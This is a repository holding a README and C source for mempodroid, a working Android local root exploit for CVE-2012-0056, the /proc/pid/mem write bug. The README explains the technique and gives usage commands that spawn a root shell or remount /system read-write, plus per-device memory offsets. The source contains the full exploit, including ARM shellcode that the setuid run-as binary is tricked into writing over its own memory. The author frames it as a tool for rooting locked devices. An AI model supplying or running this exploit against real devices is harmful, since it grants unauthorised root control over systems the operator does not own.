├── README.md └── mempodroid.c /README.md: -------------------------------------------------------------------------------- 1 | Today on Hacker News (where I sadly get much of my news), the post ["Linux Local Privilege Escalation via SUID /proc/pid/mem Write"] [1] hit the front page. [This article] [2] was by Jason A. Donenfeld (zx2c4), and documented how he managed to exploit CVE-2012-0056, a seemingly silly mistake that was [recently found in the Linux kernel by Jüri Aedla] [3]. 2 | 3 | [1]: http://news.ycombinator.com/item?id=3498835 4 | [2]: http://blog.zx2c4.com/749 5 | [3]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc 6 | 7 | Obviously, I was intrigued, and then spent the next few hours learning exactly how it works and putting together an implementation of the exploit for Android. It requires the device to have Linux kernel 2.6.39 or above, which happens to include the Galaxy Nexus (one of the various phones I luckily have sitting around for testing software on ;P). 8 | 9 | Of course, the Galaxy Nexus can be rooted quite easily (with a big thank you to Google for being awesome!), so this isn't terribly important or useful: Android 3.1 runs 2.6.36 (too early to be exploited) and there aren't any devices other than the Galaxy Nexus running Android 4.0 (other, of course, than already-rooted ones using custom installs ;P). 10 | 11 | That said, _I_ found it interesting, and I seriously burst out laughing when I read the article by Jason A. Donenfeld, as I found this particular exploit to simply be "that awesome". There is also always the possibility that there might actually be a device out there where this ends up being useful, so I figured I'd throw it up on GitHub. 12 | 13 | *Update*: Apparently, the ASUS Transformer Prime runs ICS (4.0.3 as of yesterday), which this project manages to root. While Android itself is open, many of the devices that use it are not, and the Transformer Prime has a locked bootloader, making exploits such as this required to install custom software. :( Big thanks goes out to @alpharevx! 14 | 15 | Some Details 16 | ------------ 17 | 18 | So, a major requirement for this exploit to work is to find a setuid program that writes something deterministic to a file descriptor, and it turns out that the _only_ setuid program available on stock Android (run-as) just so happens to have exactly that behavior: you give it the name of a package, and if it doesn't exist it echos it to stderr. 19 | 20 | Unfortunately, run-as is statically linked, so you can't do any simple tricks to find the exit() symbol in the program. I therefore looked it up with a disassembler. I could probably write some kind of auto-detector for the required offsets if people find this to actually be of use (i.e., it is important or usable on some device). 21 | 22 | Further, run-as bails early on if it is not either a) already running as root (which would defeat the purpose) or b) not running as the adb shell user, so this unfortunately cannot be integrated into a "one-click root" app. You therefore already need working adb shell access to the device in order to install/run this program and escalate to root. 23 | 24 | Usage Instructions 25 | ------------------ 26 | 27 | Once compiled (or [downloaded pre-compiled] [4]), you should copy it to your device (using adb), mark it executable, and then run it, passing first the offset of exit(), secondly the offset of the call to setresuid() (which must take its arguments from r5, I could easily generalize this if required), and a program to spawn as root. 28 | 29 | [4]: http://cache.saurik.com/android/armeabi/mempodroid 30 | 31 | On the Galaxy Nexus, exit() is at 0xd7f4 and the call to sysresuid() is at 0xad4b (these happen to be printed by mempodroid as part of its usage instructions, if you forget). So, if you thereby wanted to then use it to remount /system with read/write access, you could use it as follows (or, just use "sh" to get an immediate shell). 32 | 33 | $ ./mempodroid 0xd7f4 0xad4b mount -o remount,rw '' /system 34 | $ ./mempodroid 0xd7f4 0xad4b sh 35 | # 36 | 37 | * Acer A200 Tablet 4.0.3: 0xd9f0 0xaf47 38 | * Galaxy Nexus 4.0.1: 0xd7fe 0xad57 39 | * Galaxy Nexus 4.0.2: 0xd7f4 0xad4b 40 | * Motorola RAZR 4.0.3: 0xd6c4 0xad33 41 | * Nexus S 4.0.3: 0xd7cc 0xad27 42 | * Transformer Prime 4.0.3: 0xd9ec 0xaf47 43 | 44 | More Resources 45 | -------------- 46 | 47 | If people _do_ find this useful (need offsets for other devices or help with something else related to it), feel free to join irc.saurik.com/#android (or I guess one of the various Android channels on Freenode that I happen to idle in). Please, though, for the love of all that is good in this world: keep questions there fairly on-topic ;P. 48 | 49 | Also, if you join irc.saurik.com, I will ask that you state your question with complete detail and then stay logged into the channel (as I might not actually be there for hours). If you just ask "u there" (or only wait a few mintues after asking your question, instead of some reasonably larger number of hours) you lilkely won't get a response :(. 50 | -------------------------------------------------------------------------------- /mempodroid.c: -------------------------------------------------------------------------------- 1 | /* mempodroid - implementation of /proc/#/mem exploit for Android 2 | * Copyright (C) 2012 Jay Freeman (saurik) 3 | */ 4 | 5 | /* Modified BSD License {{{ */ 6 | /* 7 | * Redistribution and use in source and binary 8 | * forms, with or without modification, are permitted 9 | * provided that the following conditions are met: 10 | * 11 | * 1. Redistributions of source code must retain the 12 | * above copyright notice, this list of conditions 13 | * and the following disclaimer. 14 | * 2. Redistributions in binary form must reproduce the 15 | * above copyright notice, this list of conditions 16 | * and the following disclaimer in the documentation 17 | * and/or other materials provided with the 18 | * distribution. 19 | * 3. The name of the author may not be used to endorse 20 | * or promote products derived from this software 21 | * without specific prior written permission. 22 | * 23 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' 24 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, 25 | * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 26 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 27 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE 28 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 29 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 30 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 31 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 32 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 33 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 34 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 35 | * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 36 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 37 | */ 38 | /* }}} */ 39 | 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #define argv0 "xe-jM_uH" 50 | 51 | #define _syscall(expr) ({ \ 52 | __typeof__(expr) _value; \ 53 | for(;;) if ((long) (_value = (expr)) != -1) \ 54 | break; \ 55 | else if (errno != EINTR) { \ 56 | char line[1024]; \ 57 | sprintf(line, "(%u)", __LINE__); \ 58 | perror(line); \ 59 | exit(1); \ 60 | } \ 61 | _value; \ 62 | }) 63 | 64 | #define _assert(test) do { \ 65 | if (!(test)) { \ 66 | fprintf(stderr, "_assert(%s)\n", #test); \ 67 | exit(1); \ 68 | } \ 69 | } while (false) 70 | 71 | static int child(int sock) { 72 | char path[32]; 73 | sprintf(path, "/proc/%u/mem", getppid()); 74 | int mem = _syscall(open(path, O_WRONLY)); 75 | 76 | uint8_t data[1] = {0}; 77 | 78 | struct iovec iov; 79 | iov.iov_base = data; 80 | iov.iov_len = sizeof(data); 81 | 82 | struct msghdr msg; 83 | memset(&msg, 0, sizeof(msg)); 84 | msg.msg_iov = &iov; 85 | msg.msg_iovlen = 1; 86 | 87 | char control[CMSG_SPACE(sizeof(int))]; 88 | msg.msg_control = control; 89 | msg.msg_controllen = sizeof(control); 90 | 91 | struct cmsghdr *cmsg; 92 | cmsg = CMSG_FIRSTHDR(&msg); 93 | cmsg->cmsg_len = CMSG_LEN(sizeof(int)); 94 | cmsg->cmsg_level = SOL_SOCKET; 95 | cmsg->cmsg_type = SCM_RIGHTS; 96 | * (int *) CMSG_DATA(cmsg) = mem; 97 | 98 | _syscall(sendmsg(sock, &msg, 0)); 99 | return 0; 100 | } 101 | 102 | static int parent(int sock, int argc, char *argv[]) { 103 | uint8_t data[1024]; 104 | 105 | struct iovec iov; 106 | iov.iov_base = data; 107 | iov.iov_len = sizeof(data); 108 | 109 | struct msghdr msg; 110 | memset(&msg, 0, sizeof(msg)); 111 | msg.msg_iov = &iov; 112 | msg.msg_iovlen = 1; 113 | 114 | char control[CMSG_SPACE(sizeof(int))]; 115 | msg.msg_control = control; 116 | msg.msg_controllen = sizeof(control); 117 | 118 | _syscall(recvmsg(sock, &msg, 0)); 119 | 120 | struct cmsghdr *cmsg; 121 | cmsg = CMSG_FIRSTHDR(&msg); 122 | _assert(cmsg != NULL); 123 | 124 | _assert(cmsg->cmsg_len == CMSG_SPACE(sizeof(int))); 125 | _assert(cmsg->cmsg_level == SOL_SOCKET); 126 | _assert(cmsg->cmsg_type == SCM_RIGHTS); 127 | 128 | int mem = * (int *) CMSG_DATA(cmsg); 129 | _assert(mem != -1); 130 | 131 | --argc; ++argv; 132 | 133 | off_t offset = strtoul(argv[0], NULL, 0); 134 | off_t rest = strtoul(argv[1], NULL, 0); 135 | 136 | argc -= 2; 137 | argv += 2; 138 | 139 | #ifdef __arm__ 140 | const uint16_t exploit[] = { 141 | 0xbc73, // pop {r0, r1, r4, r5, r6} 142 | 0x2501, // mov r5, #1 143 | 0x3d01, // sub r5, #1 144 | 145 | // movw r3, *rest 146 | 0xf640 | (rest & 0x0800) >> 1 | (rest & 0xf000) >> 12, 147 | 0x0300 | (rest & 0x0700) << 4 | (rest & 0x00ff), 148 | 149 | 0x4718, // bx r3 150 | 0}; 151 | #endif 152 | 153 | offset -= 17; 154 | lseek(mem, offset, SEEK_SET); 155 | 156 | _assert(memchr(exploit, 0, sizeof(exploit)) == exploit + sizeof(exploit) / sizeof(exploit[0]) - 1); 157 | 158 | int save = dup(2); 159 | 160 | dup2(mem, 2); 161 | close(mem); 162 | 163 | if (save != 3) { 164 | dup2(save, 3); 165 | close(save); 166 | } 167 | 168 | char self[1024]; 169 | _syscall(readlink("/proc/self/exe", self, sizeof(self) - 1)); 170 | 171 | char *args[4 + argc + 1]; 172 | args[0] = strdup("run-as"); 173 | args[1] = (char *) exploit; 174 | args[2] = self; 175 | args[3] = strdup("-"); 176 | 177 | int i; 178 | for (i = 0; i != argc; ++i) 179 | args[4 + i] = argv[i]; 180 | args[4 + i] = NULL; 181 | 182 | _syscall(execv("/system/bin/run-as", args)); 183 | return 0; 184 | } 185 | 186 | int main(int argc, char *argv[]) { 187 | if (argc == 1) { 188 | printf( 189 | "usage: mempodroid \n" 190 | " exit: address in memory to exit function\n" 191 | " call: address in memory of setresuid call\n" 192 | " args: command to run, including arguments\n" 193 | "\n" 194 | /*" NOTE: to attempt autodetect, pass '-'\n" 195 | " for either exit, call, or both\n");*/ 196 | " Acer A200 Tablet 4.0.3: 0xd9f0 0xaf47\n" 197 | " Galaxy Nexus 4.0.1: 0xd7fe 0xad57\n" 198 | " Galaxy Nexus 4.0.2: 0xd7f4 0xad4b\n" 199 | " Motorola RAZR 4.0.3: 0xd6c4 0xad33\n" 200 | " Nexus S 4.0.2: 0xd7cc 0xad27\n" 201 | " Transformer Prime 4.0.3: 0xd9ec 0xaf47\n" 202 | "\n" 203 | "concrete implementation by Jay Freeman (saurik)\n" 204 | "based on exploit by Jason A. Donenfeld (zx2c4)\n" 205 | "more information at: http://blog.zx2c4.com/749\n" 206 | "original kernel exploit reported by Jüri Aedla\n" 207 | ); 208 | 209 | return 0; 210 | } 211 | 212 | if (strcmp(argv[1], "-") == 0) { 213 | dup2(3, 2); 214 | close(3); 215 | 216 | _syscall(execvp(argv[2], argv + 2)); 217 | return 1; 218 | } 219 | 220 | int pair[2]; 221 | _syscall(socketpair(PF_UNIX, SOCK_DGRAM, 0, pair)); 222 | 223 | if (strcmp(argv[0], argv0) == 0) 224 | return child(strtoul(argv[1], NULL, 0)); 225 | 226 | pid_t pid = fork(); 227 | if (pid != 0) { 228 | close(pair[1]); 229 | return parent(pair[0], argc, argv); 230 | } 231 | 232 | close(pair[0]); 233 | char argv1[16]; 234 | sprintf(argv1, "%u", pair[1]); 235 | 236 | _syscall(execl("/proc/self/exe", argv0, argv1, NULL)); 237 | return 1; 238 | } 239 | --------------------------------------------------------------------------------